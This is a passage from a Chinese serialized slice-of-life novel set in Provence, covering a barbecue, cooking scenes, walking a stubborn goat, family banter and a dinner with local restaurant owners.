直火烤红椒至焦黑,流水去皮撕条,向研体内按序投入致死量蒜泥、红椒条和辣椒粉,开始捶打。 捶打的过程中滴入橄榄油、藏红花水、当地芝士和柠檬汁。 经过猛男千余下捶打后,终成一碗味道劲爆的绸缎质地红色酱汁。 蛋黄大蒜酱则更加暴力。 这个暴力不单单指制作的过程中需要反复搅拌,再次给罗南的胳膊上了强度,还有佐伊往里面加入致死量橄榄油的壮举。 一个十六人份的蛋黄大蒜酱,需要32瓣大蒜,6个蛋黄和1升的橄榄油,这个配比让罗南觉得吃在普罗旺斯好像也没有那么健康了.还好这个酱汁他不会吃。 蒜剥皮,放入研体内,加入蛋黄和少许盐搅拌,让蛋黄和蒜泥充分的融合。 接着开始一滴一滴的加油,请注意这个过程中要持续搅拌,且绝对不能停下。 朋友们,你们知道半升橄榄油一滴一滴的加入容器中需要多长时间吗? 罗南知道! 他还知道胳膊已经不是自己的了! 加入一半油时,酱会变成粘稠的一团,这个时候可以将剩余的橄榄油慢慢淋入了。 但搅拌依然不能停下,而且速度要稳定。 罗南从左手换到右手,再从右手换到左手,每次翻面的时候,嘴里会多一颗樱桃或者草莓,大概是佐伊担心这个搅拌机没油了。 “怪不得你要让我做帮厨。”罗南的脸跟着手臂一起用力。 佐伊缓慢的倒橄榄油,同时不忘又加了一点92号的草莓到罗南嘴里: “我们还是换换吧。” 佐伊的手是艺术家的手,罗南怎么舍得让她做这种苦差事? “这两个酱都必须给我舔干净,一滴都不许剩!”他大喝一声,继续发力。 过了五六分钟,研器里的酱料几乎变成了固体。 佐伊说了一句‘好了’,拿起柠檬往里面挤了几滴,又加了一点绿色的香料点缀: “可以了,完美!” 罗南一头栽倒在橱柜台面上,双手无力的低垂: “快给我来一口普罗旺斯九肉陶坛炖。” 这两份大蒜酱汁耗费了他太多的体力! 冯珍已经从餐厅回家帮助罗南和佐伊一起准备招待朋友们的烧烤大餐,听到罗南的话,龇牙咧嘴的看他: “又饿了?你今天吃太多东西了!” 冯珍这个年纪的人接触不到动画片里的东西。 她四处寻找起来: “不行,我必须得给你沏杯茴香迷迭香水喝。” 佐伊有些心疼的摸了摸罗南的脸: “累坏了?” 弗雷迪这个圈子的聚会人数越来越多。 老卡尔家的两个儿子和他们的家庭也加入了大家庭里。 现在准备什么都要十几人份,罗南今天下午的运动量确实有些过了。 罗南站直了身体,放松着两条手臂说: “是真的有点饿了。” 实话实说,罗南今天真吃了不少东西,除了正餐,水果也吃了不少。 但他现在的确感觉到了明显的饥饿感。 胃变无底洞了? 不过他又为自己开脱——他还干了不少事情呢。 佐伊帮着他一起放松: “那我再加几道菜吧。” 罗南立即阻止: “你的大厨瘾还没过够啊?” 佐伊看向罗南家厨房里的一个袋子,露出了期待的表情: “这东西必须要趁着新鲜赶紧吃,要不然太浪费了。” 第482章 像无底洞一样的胃 佐伊眼睛看的地方,是罗南一家上午在集市上买回来的杏仁。 从商业角度看,杏仁可谓世界上首屈一指的坚果,无论是产量还是规模都排在坚果中的第一梯队。 但是很遗憾的是——法国的杏仁年产量在国际排行榜上差不多垫底,占全球总量的约0.014%。 年产量第一的美国是法国规模的5200多倍。 古希腊人在2000多年前就将杏仁引入了欧洲,但法国人在16世纪才开始认真种植这种东西,而且只有普罗旺斯这片地区在种植。 但普罗旺斯这片土地处处充满着神奇。 某国际知名生态协会提供的官方数据表示: “经过多年验证,美国杏仁和法国杏仁味道不同,美国的远不及法国的美味,但法国的杏仁产量太少了。” 这个生态协会非常幸运,他们居然能在法国以外的地区尝到法国杏仁的味道。 法国人想吃到本土的杏仁都需要运气! 普罗旺斯人已经很努力了。 在葡萄、薰衣草和橄榄等强势作物的干扰下,依然努力的种植着杏仁可这种努力依然填不满全法国人的肚子。 有报告显示,本土杏仁产量只占全国消耗总量的二十分之一。 法国人对杏仁的喜爱程度,和他们的世界年产量排名成反比。 杏仁无论是放到面包里、菜肴里、甜品里还是零食里都很受法国人欢迎,法国人见到杏仁简直可以用‘狼吞虎咽’来形容。 远的地方就不说了,艾克斯本地最著名的甜品,就是由杏仁作为主材料制作而成的卡利松。 艾克斯旅游局对外宣称,他们每年可以卖出去400多万份。 这种类似的报道无疑增加了杏仁爱好者们的焦虑情绪。 每当杏仁出现在市场上,顾客甚至没想好要将它买回来干什么、自己会不会做,但就是控制不住去摊位上称两斤——这就是爱吃的普罗旺斯人能做出来的事。 罗南家早上去集市的时间比较早,这才抢回来那么一大袋子。 他们买完香料原路返回时,卖杏仁的摊位都收摊回家了,就是那么抢手! 佐伊也是杏仁的狂热爱好者,挑食的她每次去艾克斯都要点一份卡利松。 她盯那袋杏仁好久了.这么珍贵的食材必须要趁着新鲜做点什么啊。 卡瓦永甜瓜、海鲜、杏仁.认识佐伊1年多,这是第三种让佐伊‘爱不释手’的食物。 罗南真想看看,什么时候这个数字能来到2位数。 不过既然佐伊对杏仁虎视眈眈,那么罗南就宠着她。 他在厨房里找了一圈: “我给你做卡利松吧,食材都是现成的,我们正好缺甜品。” 酱料有了,肉有了,海鲜有了,蔬菜有了,酒也有了.距离一顿完美的烧烤盛宴只差一道美味的甜品。 “卡利松妈妈还没有教我。”佐伊俯下身子去找黄油,“我来烤一些杏仁饼干吧,这个我会。” “你还会做甜品?”罗南瞪大了眼睛,跟着佐伊一起蹲下,“不是,亲爱的.你还要做?” 我的未婚妻什么时候变成厨神小当家了?! 佐伊的语气里带着些许忐忑: “做的不多,不过饼干很简单,应该不会搞砸,你去准备其他吧,甜品交给我。” 酱料耗费了不少时间,得抓紧时间了。 “你确定可以吗?”罗南有些不放心的问。 佐伊小声嘟囔: “我都表现得这么好了,你怎么还是不放心?” “好好好,你是大厨,都听你的!”罗南揉了揉佐伊的脸。 夏天吕贝隆的海鲜不好买。 听说中午海鲜还剩下了不少,而且很新鲜,罗南让弗雷迪订了比计划中更多的重量。 除了留下一部分烤着吃,罗南还协助佐伊做了两道口味不同的海鲜沙拉、海鲜拼盘和海鲜有关的主食。 再加上2只小羊羔、一整块牛肋骨和大量蔬菜制作成的烧烤串串 阿兰一来到罗南家后院就想要先来一杯‘普罗旺斯窟窿’了,因为他还带来了许多蜂蜜和薰衣草黄油面包。 “我们今天的聚会足可以招待30人,不,我猜35人也可以。”阿兰又看到了已经摆到户外餐桌上的前菜、草莓、樱桃和好几碗色泽诱人的酱料,“今晚会不会太丰盛了?” “足够丰盛了吗?佐伊还在屋里烤了杏仁饼干呢。”罗南骄傲的说,“这些前菜、烤肉串和酱料都是她准备的,今天我只是个副手。” “啊?”阿兰本来已经坐下,听到罗南的话又站了起来,用手臂在桌子上画了一个大圈,“你是说,这些全部是佐伊准备的?” “我们的小姑娘长大了。”卡尔拄着拐杖出现,后面跟着他的妻子和两个儿子一家。 罗南开心的拥抱这位前村长: “你能来我太开心了,你不知道少了你,我们的聚会少了多少乐趣呢。” 老卡尔的腿本身就不好,要时刻拄着拐杖。 年初那场寒潮让他的腿疾变得严重,那之后好几个月的聚会他都缺席了。 随着气温升高,他的病情有所缓解,可以出来多走动了。 “我只是请了几个月假,就发生了这么多改变。”老卡尔拥抱完罗南,四周寻找起来,“我们大厨在哪里?我要当面夸一夸她。” 罗南笑着指屋里: “佐伊去看杏仁饼干了。” 老卡尔开心的敲了几下拐杖: “我们的小姑娘长成了大人,可以做为妻子招待客人了。” 罗南夸起佐伊绝对不嫌累: “佐伊现在会的东西可多了,未来她一定会是最棒的妻子。” “来了来了,饼干来了!”冯珍将一个装有杏仁饼干的大托盘放到户外的桌子上,“佐伊说这是她第一次烤杏仁饼干,我看着一点都不像啊.像模像样的。” 在夸佐伊这一块,冯珍也是当仁不让。 这个儿媳妇她可太喜欢了! 上得厅堂,下得厨房说的就是她啊! “哇哦,真不错啊。”弗雷迪也凑了过来,期待的不停拍肚子,“今晚我要大展拳脚了,将它们统统干掉!” 有弗雷迪出席的聚会,就很少会剩下东西。 这个家伙的胃是名副其实的无底洞,一边说着‘不行了要撑死了’,还能再吃下两碗面条。 下一秒,又是两个大托盘出现在桌子上,每一个里面的杏仁饼干都不比冯珍拿来的那个少。 弗雷迪发出了一道‘畏惧’的鼻音: “嗯,今晚确实很‘丰盛’。” 佐伊摘下防烫手套,不好意思的整理了一下头发: “第一次做量掌握的不太好,做多了。” 佐伊最忠实的拥护者罗南咧着嘴说: “不多不多,一定把它们全部消灭!” 今天的聚会是第一次由罗南和佐伊做为‘主人方’招待大家。 以前在罗南家举办的聚会,主厨不是罗南就是罗天海。 这使得聚会开始之后,朋友们的话题始终围绕着罗南和佐伊的婚礼展开。 有的人关心婚礼筹备的怎么样了。 有的人问日子确没确定。 内部人士老卡尔则提醒他们,其实可以在卢尔马兰城堡还没翻新完工前就进去筹备,因为这次的翻新工作主要围绕恢复外墙历史风貌和拱廊庭院展开,对内部的改动不大,只要注意好防护安全,他们完全可以提前进去筹备。 “真的可以吗?”罗南和佐伊对视了一眼,不确定的问老尔卡,“但是那是历史文物的翻修啊。” 如果能提前进去,那可太好了,这样他们可以在城堡完成修复后马上举行婚礼,否则日子还要推迟。 老卡尔的手掌在拐杖上摩挲了几下: “等我下次见到布兰科,和他说一下,应该问题不大。” 罗南和佐伊同时举起酒杯感谢他: “那就麻烦你了!” 老卡尔举起了杯子,但里面装的是水。 去年他还有每顿饭一杯葡萄酒的额度,今年腿疾严重之后,这个待遇也没了。 老卡尔的妻子替丈夫回了一杯,笑着和两个孩子说: “这杯先欠着,等你们结婚时,我会让卡尔好好‘放松’一下。” “哦上帝,感谢罗南和佐伊!”老卡尔开心的返老还童了,动作都利索些许。 弗雷迪满嘴冒油的也加入了进来: “感谢罗南和佐伊,今天我吃的实在太爽了!” “感谢罗南和佐伊今晚的款待——”朋友们都跟着应和。 唯二没有反应的,是桌子另一侧的路易和莉亚。 在大家忙着关心罗南和佐伊婚礼的时候,这两个人正在甜蜜的说着悄悄话。 全员举杯这么大的动静都没有让他们停下。 “路易,莉亚!你们今天怎么了?为什么一直不加入我们的谈话?”弗雷迪拿着杯子比划,以吸引他们的注意力。 路易慢半拍的举起杯子,微笑着说: “抱歉抱歉,我正在和莉亚商量下个月去尼斯住在哪里,住在海边可以欣赏风景,住在老城区可以下楼吃到地道的地中海特色,说的太投入了。” “你们下个月要去尼斯?”阿兰放下了手里的龙虾,“我们今年的集体出行计划一直没有实施,不如大家一起去?” 阿兰期待的看向老卡尔: “卡尔,你也一起去吗?” 去年这几个朋友带着妻子一起去了戛纳玩,算算日子也是在5月份前后。 那次集体出游大家都没玩够,从回来就开始张罗再去一次。 老卡尔在家里憋久了,听到可以出去玩,当然答应了: “即使我不能跟你们下海游泳,也要在沙滩上躺着,这几个月真是憋死我了。” 路易焦急的打断了大家的畅想: “这次是我和莉亚的二人行,我们下次找个机会一起去好不好?再去尼斯也可以。” 阿兰不理解的问: “为什么一定要你们两个人去,大家一起去热闹热闹不好吗?” 路易突然拉起莉亚的手,放到嘴边亲了一下: “这是我和莉亚结婚27周年的蜜月旅行,当然只能两个人去。” 莉亚红着脸躲开。 都多大岁数了啊,谁能受得了众目睽睽之下做这种事情? 但路易抱着她的脖子,追上去亲了一下: “以后每年我都要和莉亚去度一次假,只有我们两个的那种。” 无法接受这种火爆场面的何止一个莉亚? “你们两个在干什么!”阿兰捂住眼睛。 弗雷迪忘记了咀嚼,像见到鬼了一样盯着他们。 冯珍则把脸别到了一旁.眼睛辣的都快流眼泪了。 罗南的五官扭曲到了一起,磕磕巴巴的小声对佐伊说: “他们怎么这样了?” 佐伊一副‘见怪不怪’的样子,又拿了一串烤鱿鱼: “我跟你说了啊,他们两个现在回到蜜月期了,维埃里在家里都‘恶心’的吃不下饭了,今天死活不跟着来。” 路易和莉亚表现的像是刚刚新婚的小夫妻一样,聚会焦点自然而然的从罗南和佐伊,变到了他们两个人的身上。 佐伊第一次张罗聚会,但焦点人物却不是她,虽然可能性极小.但心思细腻的大暖男罗南担心佐伊有心里落差,于是不停给大家分食物和甜品,夸佐伊手艺好,同时他自己的嘴也没闲着。 根据冯珍的不完全统计,他今晚对食物的贡献一点都不比弗雷迪差。 那三盘饼干,得有三分之一进了罗南的肚子。 朋友们一离开,冯珍就把早早准备好的茴香迷迭香水往他嘴巴里灌: “你今天吃太多了,真的吃太多了!已经晒那么黑了,可千万不能胖啊.到时候拍婚纱照的时候丑死!” 罗南也觉得他今天吃了太多的东西,但喝香料水能管用吗? 还是干点实际的吧。 “我去遛狗,消消食。”罗南觉得他找到了一个不错的办法,低头寻找起来,“狗呢?我记得刚才还在桌子底下等肉吃呢。” 冯珍‘哎呦’了一声: “你快别提了,西森奥的儿子追着小黑和马赛满院子跑,两条狗都累的走不动道了,早就进屋睡觉了。” 西森奥的儿子正是狗都嫌弃的年纪,吃饭的时候就上蹿下跳的,后来突然离开了用餐区,自己去玩了。 罗南还纳闷呢,什么东西吸引了他的注意力,原来是真的让狗嫌弃去了。 狗不能溜了,大晚上的自己去溜达有点太无聊。 但罗南也不想让佐伊陪,下午她忙前忙后很辛苦了。 怎么办呢? 见罗南还真的要出去,冯珍问: “去哪儿啊?” 罗南摆了摆手: “遛羊去。” 第483章 这该死的爱情! 毫不夸张的讲,山羊赛跑大赛就是一块悬在罗南头顶上的大石头,每次一想起来就忍不住叹气。 尤其随着6月份的临近,更加无法将其忽视了。 以前只有佐伊这一方的压力,后来朋友们知道罗南要去参加这项有着百年历史的当地特色活动,都夸罗南有‘骨气’。 他们这帮土生土长的普罗旺斯人都不敢参加这种高难度的比赛,罗南太给卢尔马兰人争气了! 朋友们还扬言,比赛那天要把博尼约变成罗南的主场! 亨利为了去给罗南加油,早早的买好小喇叭和小旗子.贤惠的约瑟芬承担起了给呼呼做‘战衣’的任务,光是臀围、胸围、头围、犄角围来量了好几次。 这个时候再想临阵脱逃简直是不可能的事。 最近一个月每一次去佐伊家,罗南都会去院子里和呼呼过两招。 但很遗憾的是,无论是文斗还是武斗,罗南永远都是受伤的那只。 双方碰撞后只有一个结局——罗南被气的暴跳如雷,呼呼则毫无波澜的拿他当空气。 到后来罗南开始找各种理由逃避,只要没人问,他也不再去和呼呼培养感情。 但总这么逃避也不是个事.男人要有直面一切困难的勇气! 罗南来到路易家,见到路易正在院子里用高压水枪洗衣服。 虽然不是第一次见,但每次见还是会被路易的脑回路所震住——怎么会有人用高压水枪呲衣服呢? 对于罗南的到来,路易无比的吃惊: “来找佐伊吗?可她好像要休息了.” 罗南看了一眼佐伊房间的窗户,发现里面只有一点微弱的灯光传出,看样子是只亮了一盏台灯: “那我就不进去了。” 他回过头来问路易: “都几点了,你怎么现在洗衣服?” 路易的脸上出现了幸福的神情: “维埃里晚上吃饭弄脏了裤子,但莉亚还有其他的事要做,我就把裤子拿出来洗了,这是他明天要穿的,你不懂家里有一个青春期孩子的烦恼,明明衣柜里有那么多条裤子,可他只想穿这一条。” 罗南憋着笑说: “不仅是优秀的丈夫,还是个优秀的父亲啊。” 路易对罗南的夸赞表示了肯定: “这是自然,不过你和佐伊也太黏腻了吧,我们才刚刚从你家回来,你就追来了,年轻人就是有激情啊,你等我一下,洗完裤子我陪你进去聊一会。” 罗南笑着推开羊圈的栅栏,拒绝了路易的好意,主要是不想看到路易和莉亚在一起的画面了,他现在还是无法坦然的看着他们抱在一起亲个不停的样子: “不了,你继续忙吧,我带呼呼出去转转。” 路易更加吃惊了: “你要把呼呼带出去?” 罗南拿起平时训练时挂到呼呼脖子上的绳套,给路易解释: “我今天吃的太多了,想出去转转,而且我和呼呼也需要继续练习,现在天黑了,路上又没有什么人,我带它出去转转应该可以。” 复活节小长假后呼呼就圈养了,没有了出去浪的机会。 呼呼以前每天都要出去,路易对此并不担心: “好,它也该出去转转了,你看老卡尔今天的样子,只是几个月没有离开家而已,像是被关了几年似的,看什么都感兴趣。” 给人解释完,罗南开始给羊解释。 他拿着绳索走向警惕的看着自己的呼呼,指着羊圈打开的那道豁口说: “我带你出去放风,你可不许再踢我或者向我鞋子上拉屎了。” 似乎是看懂了罗南的意思,以前想要给呼呼系上绳套可费劲了,今天往上套的时候它居然没有乱动,只是眼神还是挺目中无人的。 罗南轻轻拉了一下绳子。 双方僵持了四三秒,呼呼终于动了,跟着罗南手的方向前进了两步。 罗南差点感动的哭了。 羊蹄前进的一小步,是人类历史上的一大步——它终于听了一次自己的指令! “好了,我们走了,你继续洗吧。”罗南把呼呼拉出羊圈,与路易告别。 离开路易家时,听到身后传来大门开启的声音,罗南回头,看到已经换好居家服的莉亚走了出来。 他第一反应是赶紧提醒路易把高压水枪关了,因为每次一次莉亚看到路易这种独特的洗衣服方式,都会忍不住惊呼几声,然后大喊‘上帝救救这个无知的男人’。 不过在罗南开口之前,莉亚先一步发出了尖叫,只不过尖叫之后的内容是罗南没有想到的。 “路易,你怎么出来洗衣服了?我说我在屋子里怎么找不到维埃里的裤子。” “哈哈,亲爱的,刚刚看到你在忙,我就把它拿出来洗了,你看,我做的不错吧?” “哦,我的宝贝,你总是那么的贴心!” “啵啵啵啵啵吧唧——” 罗南头也不回的快步离开。 一丁点都不敢脑补身后发生了什么。 为了避免当电灯泡,他隐隐有跑起来的趋势。 而令人意外的是,手里的绳子非常顺从的跟着,一点都没有向后的力。 这个巨大的发现让罗南无比开心,不过下一秒他就笑不出来了并且如临大敌。 因为他发现手里的绳子逐渐从身后来到了身前,一股如炮弹出膛般的怪力拉着他往前方跑去。 黑夜里,罗南的身体从来没有这么舒展过。 他感觉自己的手掌距离身体至少的有2米的距离: “我说你慢——” 最后几个单词随着风声落在了原地。 罗南用了吃奶的力气跟着呼呼跑到路易家靠近村子边缘的一块荒地。 路灯只在村子的范围,再向前就是农田,弄不好就要踩进人家的地里。 虽然今晚一人一羊还没有互喷过,但罗南不得不结束了今晚的和谐共处,双腿用力把脱缰的野羊逼停。 “可以了可以了,不可以去前面了!” 呼呼使了几次蛮力,想要继续向前,但罗南死死的双脚抓地和它进行对抗。 幸亏今晚吃多了,有了点体重资本,要不然这次拔河不一定是什么结局。 僵持了了那么十几秒,呼呼发出了两道意义不明的‘咩咩’声,又在黑暗中愣神了十几秒,之后不再用力向前,低头在原地吃起了草。 担心这小东西在跟自己玩‘欲擒故纵’,罗南保持着双手拉绳的动作足足有一分多钟才敢放松。 他擦了擦脑门上的汗,也不知道呼呼能不能听明白,指着前方的黑暗说: “玩一会咱们就得回家了,不过如果你待会乖乖回家,明天早上我可以带你去那边转转。” 罗南记得在那个方向有一片带有坡度的完整草地,早上游客不多,带呼呼过去玩玩也不是不行。 但前提是这个小东西要懂得‘感恩’,今晚别搞什么越狱。 呼呼一点反应都没过,慢慢悠悠的吃着,用屁股对着罗南。 “还是这个臭脾气。”罗南摇了摇头,不再和羊一般见识。 待了一会,罗南觉得时间差不多了,用力拉了一下绳子。 绳子短暂的紧绷了一下之后,很快松了下去——呼呼跟着他走了。 虽然这小东西平时没少惹罗南生气,不过罗南还是语气温和的说: “旅游季人太多了,你长得这么别致,性格还让人讨厌,不出一个小时就进人的肚子了你信不信?把你关起来也是在保护你等过几个月游客走了,你还是能想去哪里就去哪里。” 这次呼呼终于给反应了——他又给了罗南一脚面的屎。 第一次当主厨招待朋友的佐伊前一晚睡的很早。 第二天早上起来,在早餐桌上听到父亲说: “罗南昨晚来了一次,带着呼呼出去了。” “罗南带呼呼出去了?”佐伊拿起一块面包,又指了下弟弟维埃里面前的山羊奶酪。 路易把做好的豪华般三明治放到妻子的盘子里: “是的,说是要带呼呼去练习。” 佐伊接过维埃里递来的山羊奶酪,笑着说: “罗南对这件事的重视程度出乎了我的意料,我还以为他会很抵触呢。” 维埃里低着头说: “你都给他报名了,他抵触又能怎样,还不是要去?” 佐伊绷着脸看弟弟: “维埃里,每对情侣都有自己的相处模式,请你不要干涉我和罗南之间的事情,干涉爸爸和妈妈也不行,还有,如果我是你,吃完山羊奶酪会记得把它放回原位,而不是放在自己的手边、别人完全拿不到的地方,那会让女孩子觉得你不够贴心。” 维埃里放下叉子,回看佐伊: “但你现在就在评价我。” 佐伊露出狡黠的笑容: “哦,是吗?可我的意思是不要干涉‘情侣’的相处模式,你有情侣吗维埃里?” 维埃里推开椅子,站了起来: “我吃好了,走了。” “这么早?”路易对着维埃里的背影喊,“还没到上学的时间呢!” 维埃里拿起沙发上的书包,走到门口蹲下换鞋子: “出去学习,我找到了一个可以安静学习的地方。” “嗯?卧室还不够安静吗?”罗南推开路易家的门,听到的恰好是这一句。 维埃里用‘同情’的眼神抬头看罗南: “因为爱情而改变自己很辛苦,对不对?” 罗南懵逼的看向佐伊和路易,不明白维埃里这突如其来的感慨来自哪里。 “不用管他。”佐伊来到门口问罗南,“你怎么这么早过来?听说你昨晚去遛了呼呼?” 罗南笑着指身后的羊圈: “没错,我现在来也是来遛呼呼的,以后每天早晚各遛它一次。” 说完罗南转身出去了。 佐伊追着他出去: “你每天都要带它出去?还是两次?” 门外传来罗南和佐伊的对话声。 “用这种方式,我们之间似乎稍微能沟通了。” “你们之间的关系变融洽了吗?上帝,这太棒了!我就知道你和呼呼有和谐共处的可能!” “我会努力的,争取早日让它接受我,再接受马赛!” “哦,亲爱的!” “啵啵啵啵啵吧唧——” 维埃里换好了鞋子,但一步都不敢迈出去,身体像是被封印了。 更恐怖的是,身后也传出了同步的声音——是莉亚从厨房出来,看到路易做的爱心早餐时发出的动静。 “该死的,爱情真恶心!”维埃里捂住了耳朵和眼睛。 第484章 罗南的改变 十五分钟后。 卢尔马兰村外围一片人迹罕至的坡地上。 伊莎贝尔趴在草地上,撑着脑袋看不远处的维埃里靠着身后的大树看书学习,两只脚向着天空一抬一抬的,显示着她的开心。 不知道是遇到了难题,还是看到了遗漏的知识点,维埃里的视线从书上移开,看着头顶的天空叹了一口气。 “怎么了?”伊莎贝尔保持着原先的动作问,甚至连嘴角的弧度都没来及收回去。 维埃里有些沮丧的说: “我依然有许多不会的知识点.” 在普罗旺斯,高中会考分数需要达到10分以上,才有上大学的资格。 但维埃里最后一个学期的成绩始终在9-11分这个范围内,临近考试的这段时间,最重要的事情便是查漏补缺,可越补他的心越没底。 伊莎贝尔把脚放了下去,嘴角的弧度也没了: “可你已经很努力了,早起一个小时,晚睡一个小时,除了吃饭就是看书,而且你也两个多月没踢足球了,比赛也不看了。” 维埃里躺到草地上,用书盖脸,语气更加低沉: “如果没有考上大学,那些努力将一文不值。” 1986年,法国全境高中会考通过率在60%-65%这个范围里,但吕贝隆山区的大学通过率仅有35%-45%,这里的师资水平较大城市还是有很大的差距,所以考不上大学的学生其实占更大的比例。 但各家各户还是希望孩子能有出息一些。 虽然维埃里多次给父母降低预期,说自己考大学的概率一半一半,让他们千万别有什么过分的期待。 但从内心来说,他非常想像姐姐佐伊一样,成为大学生。 父亲、母亲、姐姐、未来姐夫都是村子里最优秀的人。 维埃里也想追上这些人的脚步,证明自己。 伊莎贝尔不知道如何安慰维埃里,因为她也没有考上大学,高中一毕业就工作了。 同时,伊莎贝尔也没有办法帮助维埃里提升成绩,书里面的知识早已离她而去。 她只能从其他地方来帮助维埃里: “来换换脑子吧,吃点东西,再学就有力气了!” 维埃里把书从脸上拿开,看到伊莎贝尔从野餐盒子里拿出好看的餐布,又是一张新的.这已经是这个月的第四张新餐布了,语气复杂的说: “我吃过早饭了.和你说很多次了,不要再带吃的来,我吃不下了。” 伊莎贝尔开心的把一件一件食物铺到她精心挑选的餐布上: “但我没吃啊,我早上喜欢看着大自然吃,这多舒服?” 维埃里叹气,放下书坐到伊莎贝尔的对面,拿起一片还带着余温的烤面包: “我今晚放学会去餐厅。” 最后这个月,为了准备会考,维埃里不再去餐厅帮忙了。 “你回家学习啊,来餐厅干什么?”伊莎贝尔把奶酪和刀子递给他,刀子上还细心的缠了一张餐巾纸。 维埃里拿起刀子挖了一块奶酪: “妈妈为了甜品大赛准备了许多东西,今天有两款新甜品的试吃,我要去给她些鼓励。” 维埃里也是个暖男,只是嘴太硬了。 莉亚这段时间的辛苦,他都看在眼里,那认真程度完全不输他这个准备考大学的高中生。 今天是阶段性展示成果的日子,这种日子他怎么能缺席呢? 维埃里必须要去送上儿子的鼓励和支持。 伊莎贝尔点点头,她也听说了这件事情: “那晚上我让乔伊纳做牛肉焖锅。” 乔伊纳是罗天海培养出来的厨师,在没有聚会的日子,大家的工作餐都是乔伊纳来负责烹饪。 “你们不是前天才吃过焖锅吗?”维埃里把用完的奶酪盒子随手放到了自己手边。 虽然这段时间没去餐厅,但他知道餐厅里发生的所有大事小事。 伊莎贝尔一见到他就叽叽喳喳说个不停。 伊莎贝尔一只手扶住膝盖,将身体移动向山坡下卢尔马兰村子的方向,另一只手往嘴里塞了一块面包: “给某人补补身体,没有力气怎么回家学习?知识都记不住了,每天哭唧唧的叹气,我可不想听。” “你——”维埃里第个反应是怼回去。 你这家伙说谁哭唧唧的叹气? 感慨,那只是感慨! 但话到嘴边,他突然低头哼了一声,也把面包塞到了嘴里,堵住了那些即将‘夺口而出’的不好听单词。 随即,他注意到了手边的奶酪盒子。 想了又想,犹豫了犹豫,最终将它放回到了野餐垫的中间,伊莎贝尔可以伸手拿到的区域。 莉亚努力的提升自己是为了跟上罗南的脚步。 她谦虚的认为自己的甜品水平距离罗南还差的远得很,所以今晚的甜品试吃活动并没有通知罗南,也没有通知罗天海,只是跟家人和后厨关系较好的几个妇女说了。 她想等自己的甜品水平足够高超之后,再邀请罗南父子进行正式的品鉴。 被蒙在鼓里的罗南不知道今晚有活动,晚上邀请来了阿图瓦等餐厅老板朋友,想要将父亲罗天海介绍进入他们的圈子。 “这么快?”得知今晚餐厅要来人的消息,罗天海无比意外。 他昨天上午才跟儿子提起这件事。 这个执行力也太强了吧? 提起这事,罗南也很无语: “昨天下午我给阿图瓦打电话,让他问问朋友们什么时候有时间,好久没见了,过来聚一聚,没想到聚会一天就成型了,如果说执行力,那也应该是他们强大才对吧。” “他们几个人?”罗天海问。 想要混进圈子,就要拿出最大的诚意。 今晚这顿饭得好好准备了。 “7个。”罗南指着室内靠近可以看到商业街的落地窗位置说,“座位留在这里。” 罗天海露出心照不宣的笑容。 如果说餐厅里环境最好的地方,那一定是院子里的露天区域。 坐在那里吃饭看风景才叫惬意。 早上餐厅开门,所有人都会往那里面冲,室外没有地方了才会来室内。 而罗南给那些朋友们留室内这个位置,是为了让他们时刻看到外面等位的人。 “好了,我去准备了。”罗天海拍了拍罗南的肩膀,胸有成竹的离开了这里。 阿图尔一行人是下午三点多钟到的。 根据罗南对普罗旺斯人的了解,一旦你邀请来吃晚饭的朋友们在下午4点前到来,往往意味着,他们也将吃到晚上8点之后才会离去。 显然,这些开餐厅的老板对这次聚会充满‘期待’啊。 阿图瓦所在的餐厅老板圈子里的人,罗南几乎都见过,而且见过许多次。 这一次除了他熟悉的泰勒、诺亚、以撒等几人外,还有一个不常常和他们混在一起的人。 奥利维尔又胖了,他抱住罗南时,罗南几乎无法呼吸了。 “哦,亲爱的罗南,我就说每次见你都能给我带来巨大的惊喜,几个月不见,你更加出息了。”奥利维尔附在罗南的耳边小声说道,“托你的福,我们在卢尔马兰的餐厅生意也越来越好了。” 奥利维尔的妻子切尔斯太太在卢尔马兰经营着一家面积不大、但格外有情调的餐厅,那曾经是罗南和佐伊经常光顾的地方之一。 不过自奥利维尔和卢卡斯因为松露生意‘分道扬镳’后,切尔斯太太就很少出现在那里了,那家餐厅和奥利维尔经营的其他十几家餐厅一样,托付给了其他人打理。 后来罗南开了餐厅,佐伊和罗南再也没去过那里吃饭,听说切尔斯太太不出现后,那里的品控也没有那么严格了,味道大不如前。 不过卢尔马兰现在的游客量这么大,那里的生意较往年有所提升是理所应当的事情。 以往罗南见到奥利维尔都非常热情,这是他的一贯风格,遇到谁都给人一股如沐春风的样子。 不过这一次他改性格了: “也托你的福,我才有了和卢卡斯合作的机会,我们这次使用了世界上最先进的插苗技术,和去年比菌丝成活率至少能提高50%,卡庞特拉那些研究院对这次的实验非常有信心,这都要感谢你啊奥利维尔,如果你不退出,这种好事哪里轮得到我?” 奥利维尔的笑容僵硬在脸上。 他当然听到卢卡斯和罗南合作做黑松露人工培育松露实验的消息了。 奥利维尔从五个人嘴里听到了相同的答案后,才敢相信这件事! 但他没想到,罗南会主动向自己提起。 很显然.罗南和卢卡斯的关系变得非常亲密。 他的语气和态度和卢卡斯的弟弟特奥一样,带着浓浓的敌意! 奥利维埃想说两句话,缓解双方的‘误会’。 但罗南一秒钟都没给他,绕开‘肉山’和下一个人打招呼去了。 看着罗南的背影,奥利维尔一阵唏嘘。 只是一年多的时间,那个刚到普罗旺斯、见谁都客客气气的愣头青小伙子,已经有底气可以表达自己的真实态度了。 同时他不停提醒自己——不能再用以前的态度对待这个家伙,从今往后的每一次见面,他可能都要用上‘仰视’了。 第485章 绿叶和红花 罗南已经许久没有和阿图尔这帮人聚会了。 但在罗南缺席的日子里,这些普罗旺斯的餐厅老板们又经常能听到关于他的事迹——去做艺术家了、经营了一家手工合作社、上电视了.总之全部是让人羡慕到双眼放光的消息。 听到阿图尔的邀请,老板们第一时间响应,挤出时间来到卢尔马兰,想要和罗南‘再续前缘’。 谁会拒绝一位成功者发出的邀请呢? 但很快,这些带着各种各样目的前来的老板们发现,今晚的主角并不是罗南,而是他的父亲罗天海。 罗天海夫妻来普罗旺斯一年了,平时的社交对象只有路易和弗雷迪那帮朋友们,今天想要开拓新的社交圈子,罗天海无比积极,穿的可精神了,全程侃侃而谈。 父亲这么卖力,儿子当然也要好好配合。 罗南尽职尽责的充当了一个合格的绿叶,以他之口介绍父亲的生平,评价他对餐厅是如何的不可或缺,没有父亲的帮助他寸步难行,罗天海才是这间餐厅的大脑。 相较于早已在普罗旺斯证明自己的罗南,罗天海则过于低调,除了能做出一手好菜,其他没有什么能被人记住的地方。 